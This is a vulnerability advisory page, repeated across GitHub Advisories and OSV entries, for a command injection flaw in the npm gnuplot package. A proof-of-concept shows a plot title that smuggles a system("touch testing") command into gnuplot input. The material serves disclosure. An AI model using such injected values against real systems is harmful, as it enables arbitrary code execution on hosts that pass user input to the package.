GHSA-cfwc-xjfp-44jg
Command Injection in gnuplot
All versions of gnuplot are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:
var gnuplot = require('gnuplot');
const title = '"\nset title system("touch testing")\n#';
gnuplot()
.set('term png')
.set('output "out.png"')
.set(`title "${title}"`)
.set('xrange [-10:10]')
.set('yrange [-2:2]')
.set('zeroaxis')
.plot('(x/4)**2, sin(x), 1/x')
.end();
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
What each source reports
GitHub AdvisoriesNo score
Command Injection in gnuplot
All versions of gnuplot are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:
var gnuplot = require('gnuplot');
const title = '"\nset title system("touch testing")\n#';
gnuplot()
.set('term png')
.set('output "out.png"')
.set(`title "${title}"`)
.set('xrange [-10:10]')
.set('yrange [-2:2]')
.set('zeroaxis')
.plot('(x/4)**2, sin(x), 1/x')
.end();
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
- Record
GHSA-cfwc-xjfp-44jg- Weakness
- CWE-77
- Updated
- 2026-11-02
OSVNo score
Command Injection in gnuplot
All versions of gnuplot are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:
var gnuplot = require('gnuplot');
const title = '"\nset title system("touch testing")\n#';
gnuplot()
.set('term png')
.set('output "out.png"')
.set(`title "${title}"`)
.set('xrange [-10:10]')
.set('yrange [-2:2]')
.set('zeroaxis')
.plot('(x/4)**2, sin(x), 1/x')
.end();
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
- Record
GHSA-cfwc-xjfp-44jg- Weakness
- CWE-77
- Updated
- 2026-11-02
Affected packages
| Package | Affected | Fixed |
|---|---|---|
gnuplotnpm | 0.0.0 and later | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
GHSA-cfwc-xjfp-44jg is a vulnerability with no CVSS score yet in gnuplot, published September 4, 2020. No source lists public exploit code. No source names a fixed version.